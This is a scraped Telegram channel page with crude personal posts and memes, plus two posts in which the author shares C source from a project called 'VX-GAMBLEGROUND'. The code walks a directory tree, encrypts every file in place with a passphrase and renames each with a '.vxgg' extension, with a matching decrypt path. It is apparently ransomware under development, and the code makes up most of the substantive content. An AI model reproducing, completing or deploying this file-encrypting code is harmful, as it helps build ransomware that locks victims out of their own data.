DUMB SHIT NUCLEAR NOTHING HAPPENING EDITION
128 subscribers
2.71K photos
2.23K videos
21 files
148 links
Download Telegram
This media is not supported in your browser
VIEW IN TELEGRAM
I've done this so many times as a kid and never learned from it somehow
🀝1
This media is not supported in your browser
VIEW IN TELEGRAM
I need to go do the 4 S's:
Shit
Shower
Shave
Stalk the night
Forwarded from Mk 16 Simp
Nothing better than singing to the midnight moon
i think psyxhe is in his kaczynski phase
πŸ₯°1πŸ‘»1
I do not handle passive-aggressiveness well
Made the encryption function in VX-GAMBLEGROUND less retarded by actually using header files for their purpose
//// In "encryption.c"
int encryptvxgg(const struct nodelist *list, const char *passphrase) {
int fd = -1;

regex_t encext;
regcomp(&encext, "(.+\\.vxgg)$", REG_EXTENDED | REG_ICASE | REG_NEWLINE);

// Encrypt everything
for(const struct nodelist *p = list; p != NULL; p = p->next) {
if(p->fullpath == NULL) // Make sure I don't accidentally do anything with that last element
continue;
if(regexec(&encext, p->fullpath, 0, NULL, 0) != REG_NOMATCH) // Don't encrypt already encrypted files
continue;

fd = open(p->fullpath, O_RDWR);
if(fd < 0) {
#ifdef TESTING
error(0, errno, "<encryptvxgg> Could not open \"%s\" for encryption", p->fullpath);
#endif
continue;
}

passencblock(fd, passphrase);
close(fd);
#ifndef TESTING
rename_format(p->fullpath, "%s.vxgg", p->fullpath);
#else
rename_format(p->fullpath, "%s_%s.vxgg", p->fullpath, passphrase);
#endif

}

return 0;
}

//// in "VX-GAMBLEGROUND.c"
int scanundencrypt(void *passed) {
struct sande *p = (struct sande *)passed;

p->scanned = scanfiles(p->STARTPATH, p->cmp);
encryptvxgg(p->scanned, p->passphrase);

return 0;
}
I think printf and its related functions that take format specifiers are the unsung heros of C. They make dealing with strings so much easier than having to use functions from <string.h>. In other news, I consolidated the encryption and decryption function into once hideous monster function
int rename_format(const char *fullpath, const char *format, ...) {
va_list ap;
va_start(ap, format);

char *newname = NULL; int err = 0;
if((err = vasprintf(&newname, format, ap)) < 0) {
error(0, 0, "<rename_nodelist> Could not create string for new file");
return err;
}

if((err = rename(fullpath, newname)) < 0) {
error(0, errno, "<rename_nodelist> Could not rename file \"%s\" to \"%s\"", fullpath, newname);
return err;
}

free(newname);
va_end(ap);

return err;
}


int ENorDE_cryptvxgg(const struct nodelist *list, const char *passphrase, int flag) {
int fd = -1;
regex_t encext;
regcomp(&encext, "(.+\\.vxgg)$", REG_EXTENDED | REG_ICASE | REG_NEWLINE);

for(const struct nodelist *p = list; p != NULL; p = p->next) {
if(p->fullpath == NULL)
continue;
if(regexec(&encext, p->fullpath, 0, NULL, 0) != REG_NOMATCH && flag == VXGG_ENCRYPT) // Don't encrypt already encrypted files
continue;
if(regexec(&encext, p->fullpath, 0, NULL, 0) == REG_NOMATCH && flag == VXGG_DECRYPT) // Skip non-matching files
continue;

fd = open(p->fullpath, O_RDWR);
if(fd < 0) {
#ifdef TESTING
error(0, 0, "<decryptvxgg> Couldn't open \"%s\" for %s", p->fullpath, (flag == VXGG_ENCRYPT) ? "encryption" : "decryption");
#endif
continue;
}
passencblock(fd, passphrase);
close(fd);

if(flag == VXGG_ENCRYPT) {
#ifndef TESTING
rename_format(p->fullpath, "%s.vxgg", p->fullpath);
#else
rename_format(p->fullpath, "%s_%s.vxgg", p->fullpath, passphrase);
#endif
}

if(flag == VXGG_DECRYPT) {
char *newname = NULL;
#ifndef TESTING
asprintf(&newname, "%%0.%lds", strlen(p->fullpath) - strlen(".vxgg"));
#else
asprintf(&newname, "%%0.%lds", strlen(p->fullpath) - strlen(".vxgg") - PHRASESIZE - 1);
#endif
rename_format(p->fullpath, newname, p->fullpath);
free(newname);
}

}

/* The beauty of my shitty encryption function is that it's reversible by just running it again with the
// same password. Most of this function is just picking the right files to operate on and deciding how to
// rename them */

return 0;
}
πŸŽ‰1